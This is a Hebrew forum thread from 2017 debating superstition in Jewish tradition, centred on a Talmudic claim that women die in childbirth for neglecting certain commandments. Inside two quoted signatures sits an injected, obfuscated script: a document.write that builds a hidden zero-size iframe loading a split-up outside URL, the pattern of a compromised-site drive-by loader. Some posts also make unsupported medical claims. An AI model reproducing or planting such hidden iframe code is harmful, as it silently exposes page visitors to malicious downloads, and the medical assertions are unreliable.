| נשלח ב-10/11/2017 14:00 |
 |
| |
האם ניתן למנוע או לתקן אמונות הבל? (מכות ה ב)
אחת ממטרותיה של התורה, של היהדות, היא להאבק בעבודה זרה. ולא רק בעבודה זרה, אלא בכל אמונות ההבל שמשעבדות את האדם. זוהי לפחות דעת הרמב"ם ואם יורשה לי להוסיף: גם דעתי שלי. דומה שאם יש ויכוח, גם בפורום הזה, הרי זה לא על העקרון אלא על השאלה מה הן אותן אמונות הבל שיש למחוק... אבל נגיע לעיקר. בדף היומי מצאנו סיפור מעניין על מאבק באמונת הבל עממית. ועל התגובה המאוחרת מאד של אחד האמוראים על הנסיון של אחד החכמים למנוע מן העם לטעות. בבקשה.
|
|
|
|
| נשלח ב-21/11/2017 10:50 |
|
| |
ירוחם,
התכוונתי לומר, שהייתי צריך לקבל את עצתך ולא לנסות
ולהסביר.
כשאדם לא נמצא במקום של חיפוש אמתי, כל מה שאכתוב לא יצלח כדי
לשנות את דעתו.
גם אם הוא מכריז קבל עם ועדה שהוא רוצה למנוע או לתקן אמונות הבל.
|
|
|
|
| נשלח ב-21/11/2017 10:42 |
|
| |
שלישי
להגיד את זה בהכללה זו גם אמונת הבל.
|
|
|
|
| נשלח ב-21/11/2017 09:50 |
|
| |
| ירוחםשמ כתב: |  |
להאמין כי ניתן לבטל אמונות הבל- אין לך הבל גדול מזה.
|
|
" כל מי שנוטל עצה מן הזקנים, אינו נכשל "
|
|
|
|
| נשלח ב-20/11/2017 23:13 |
|
| |
פרוגרמי
ברוך השב!
אפרים בן
כתבת:
אצל מיימוני אמונת הבל היא אמונה שאיננה של מיימוני.
מסתבר שאני אכן רואה כך את הדברים. אם יש אמונת הבל, אני מתנער ממנה. אמונות שנראות לי שגויות, ומבוססות על גישות שגויות, נכללות בין אמונות ההבל.
אם כי אני משער שיש אמונות הבל שלא ידוע לי עליהן. ויתכן שגם לי יש אמונות הבל. אם כי אני אישית משתדל לברר במה אני מאמין ואיך אני מתנהג ולשנות לפי הבירור.
בכל אופן, מי שרוצה ללמוד איך להינצל מאמונות הבל, לא הייתי יכול להמליץ לו להסתפק בכלל "מה שאצל מיימוני הוא אמונת הבל זה אכן כך". אדם צריך ללמוד לפתח אצל עצמו את הכלים הדרושים לזיהוי אמונות הבל.
אז המימרה שלך היא חריפה וכנראה נועדה לבקר אותי על שיש אמונות הבל שאיני נפרד מהן. אבל כמדומה שאיני נכשל במעגליות כגון זו שאתה מייחס לי כנראה.
מה לעשות שהגמל אף פעם לא רואה את דבשתו.
ומי מאיתנו אינו גמל שכזה? (איקון של אנחה כבדה)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/11/2017 19:48 |
|
| |
לא כל כך מבין איפה רואים פה ש"חז"ל טעו", בזמנם, לפי התנאים והמציאות לידה היתה "שעת סכנה", בשעת סכנה עוונות של אדם מקטרגים, והזכויות של האשה הן המצוות שמוטלות עליה נדה חלה והדלקת הנר. כיום שעת לידה אינה שעת סכנה (במדה ונמצאים בבית חולים או בקירבת מיכשור מודרני), ולכן בד"כ לא מתות. אבל במה שנחשב היום שעת סכנה ושכיח בו סכנה (למשל: שילוב נשים בפלוגות מבצעיות...), צריכים זכויות כדי להינצל, כיום חלה לא מוטלת כמעט על האשה (אא"כ היא הולכת להפנינג הפרשות חלה או שהיא מכינה הרבה חלות בבית), אבל מלבד נדה (שהיא נסיון קשה ואחריות גדולה) והדלקת הנר, יש עוד מצוות שבאחריותה, ובזכות מצוות אלו יכולה אשה להינצל, או ח"ו שלא להינצל. רמי הצפרדע
|
|
|
|
| נשלח ב-20/11/2017 15:27 |
|
| |
אצל מיימוני אמונת הבל היא אמונה שאיננה של מיימוני.
מה לעשות שהגמל אף פעם לא רואה את דבשתו.
|
|
|
|
| נשלח ב-20/11/2017 09:59 |
|
| |
| מם80 כתב: | | בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
רוב רובן של בנות ישראל שבות לביתן בריאות ושלמות בידיים מלאות.
מה שמוכיח שאלוהים אוהב אותן בין הם זהירות אם לאו.
שאל נא את רבותיך מדוע זה כך.
ועוד,
שאל אותם אם הם יודעים מיהו:
"יוֹצֵר אוֹר וּבוֹרֵא חֹשֶׁךְ עֹשֶׂה שָׁלוֹם וּבוֹרֵא רָע אֲנִי יְ' עֹשֶׂה כָל אֵלֶּה"
|
|
|
|
| נשלח ב-19/11/2017 16:07 |
|
| |
| מם80 כתב: | | בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
כי הציטוט מנצח לנצח נצחים
תוקן על ידי אפריםבן ב- 19/11/2017 16:08:08
|
|
|
|
| נשלח ב-19/11/2017 15:43 |
|
| |
בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
|
|
| נשלח ב-19/11/2017 13:05 |
|
| |
מ,
נכון. הרעיונות הפנימיים הם האמתיים.
בגלל שהמציאות שאנחנו פוגשים בחוץ היא תוצאה של העולם הפנימי
שלנו - הדמיון.
כאשר אתה אומר לאשה אם לא תזהרי ב... וב... וב... אז תמותי בשעת הלידה.
והדמיון שלה מקבל את זה ללא ביקורת.
יש לך ספק מה הולך לקרות?
והמבחן פשוט. נשים שלא מאמינות בדברי חז"ל שהוזכרו כאן,
הסיכוי שלהן למות בשעת הלידה קטן יותר מאילו שמאמינות בדברי חז"ל.
|
|
|
|
| נשלח ב-19/11/2017 11:40 |
|
| |
שלישישי,
מתפלא על גישתך האמפריציסטית. הלא רבך בלייק אמר שהרעיונות הפנימיים רק הם אמתיים. לוק אמר: "מה השמש כי-אם סכום של כמה רעיונות פשוטים: בהירות, חום, כדוריות, בתנועה קבועה ובמרחק מסויים מאתנו?". ואילו בלייק אמר: "כשהשמש עולה, האינך רואה דיסק-אש הנראה כמטבע זהב? לא, אני רואה אין-ספור מלאכים הקוראים קדוש קדוש קדוש ה' צבאות".
תוקן על ידי מם80 ב- 19/11/2017 11:40:17
|
|
|
|
| נשלח ב-19/11/2017 10:56 |
|
| |
| מיימוני כתב: | | תלמיד חבר
איקון ירוק ותודה. אכן אלו דברי מימי ייסוד הפורום.
עם זאת, אתה מתאר מצב שונה מזה שהתייחסתי אליו. אני תארתי, אולי באופטימיות, את חכמינו כמי שמנסים להתנגד לאמונות הבל. ההמון, כמובן, דבק בהן מפני שאינו חכם מספיק להבין שהן כאלו. למשל מפני שאינו ער לסתירות שיש בין אמונות אלו לבין המסרים של התורה (לפחות התורה המיימונית...).
ואתה מתאר את המצוקה המודרנית, שנוצרה עקב התהליך שזיהית - שאותו תיאר היטב פיטר ברגר - של חברה קטנה הנפגשת עם ידע שמאיים עליה. זו בעיה אנתרופולוגית, והפתרון שלה הוא סוציולוגי. כלומר, אחד מהדגמים האפשריים. לבנות גטו. ולשמר את המסורת במילואה. כולל אמונות שהתברר שהן אמונות הבל.
חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם, ולסלק את אמונות ההבל. הרי סופן להתגלות ולהביא נזקים אפילו למטרה של השמרן הדבק במסורת יהיה מה שיהיה. אם אין יודעים לפתוח חבילה ולוותר על אמונות שגויות, החבילה כולה תאבד והאדם שהתחנך לקבל אותה כולה - ימרוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מימוני,
התייחסתי לוויכוח שלך עם שלישישי ואחרים לגבי היותך "פוסח על שתי הסעיפים", ולא לגבי הדיון המקורי על אמונות הבל שהתורה מנסה (או לא מנסה ) להאבק בהם.
 |
|
|
|
|
| נשלח ב-19/11/2017 10:34 |
|
| |
| מיימוני כתב: | |
יקירי, אני חושש שלא ניתן לבצע את הניסוי שהצעת. אבל אני מוכן לחתום על התוצאה. אם יתברר שחז"ל אמרו שנשים לא זהירות יסתכנו ויתברר שהן לא הסתכנו - בהחלט אומר שכאן חז"ל טעו. או לפחות זו טעות היום, בזמן הניסוי.
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הניסוי מאד פשוט.
אתה צריך לעמוד ביציאה מבית היולדות ולשאול את היולדות אם הן זהירות או לא.
לא מצאתי בשנתון הסטטיסטי כמה יולדות נפטרו בישראל.
אני מעריך שפחות מ - 50 יולדות מתוך 100.000 לידות.
יותר מזה, אם שיעור הנפטרות של היולדות שאינן זהירות היה גדול יותר מאילו שזהירות,
היית רואה שהמחב"תים רצים לפרסם את הנתון הזה. והמציאות איננה כזו.
מה שכתבתי עד כאן, מספיק לך שתודה שחז"ל טעו?
וזה לא רק שחז"ל טעו, גם "חכמי הרפואה" שלפני מספר דורות גם טעו.
http://www4.dr-rath-foundation.org/Newsletter/articles/ignaz-semmelweis-ignored-rejected-ridiculed-by-the-medical-orthodoxy.html?utm_source=email&utm_medium=artikel-image&utm_campaign=newsletter-20171116
|
|
|
|
| נשלח ב-19/11/2017 10:26 |
|
| |
הרב מימוני
אני מגיב רק למשפט הזה שלך.
"חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם"
לאברהם אבינו גם היו אמונות טפלות וכן לרמב"ם
|
|
|
|
|
| נשלח ב-19/11/2017 07:06 |
|
| |
תלמיד חבר
איקון ירוק ותודה. אכן אלו דברי מימי ייסוד הפורום.
עם זאת, אתה מתאר מצב שונה מזה שהתייחסתי אליו. אני תארתי, אולי באופטימיות, את חכמינו כמי שמנסים להתנגד לאמונות הבל. ההמון, כמובן, דבק בהן מפני שאינו חכם מספיק להבין שהן כאלו. למשל מפני שאינו ער לסתירות שיש בין אמונות אלו לבין המסרים של התורה (לפחות התורה המיימונית...).
ואתה מתאר את המצוקה המודרנית, שנוצרה עקב התהליך שזיהית - שאותו תיאר היטב פיטר ברגר - של חברה קטנה הנפגשת עם ידע שמאיים עליה. זו בעיה אנתרופולוגית, והפתרון שלה הוא סוציולוגי. כלומר, אחד מהדגמים האפשריים. לבנות גטו. ולשמר את המסורת במילואה. כולל אמונות שהתברר שהן אמונות הבל.
חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם, ולסלק את אמונות ההבל. הרי סופן להתגלות ולהביא נזקים אפילו למטרה של השמרן הדבק במסורת יהיה מה שיהיה. אם אין יודעים לפתוח חבילה ולוותר על אמונות שגויות, החבילה כולה תאבד והאדם שהתחנך לקבל אותה כולה - ימרוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
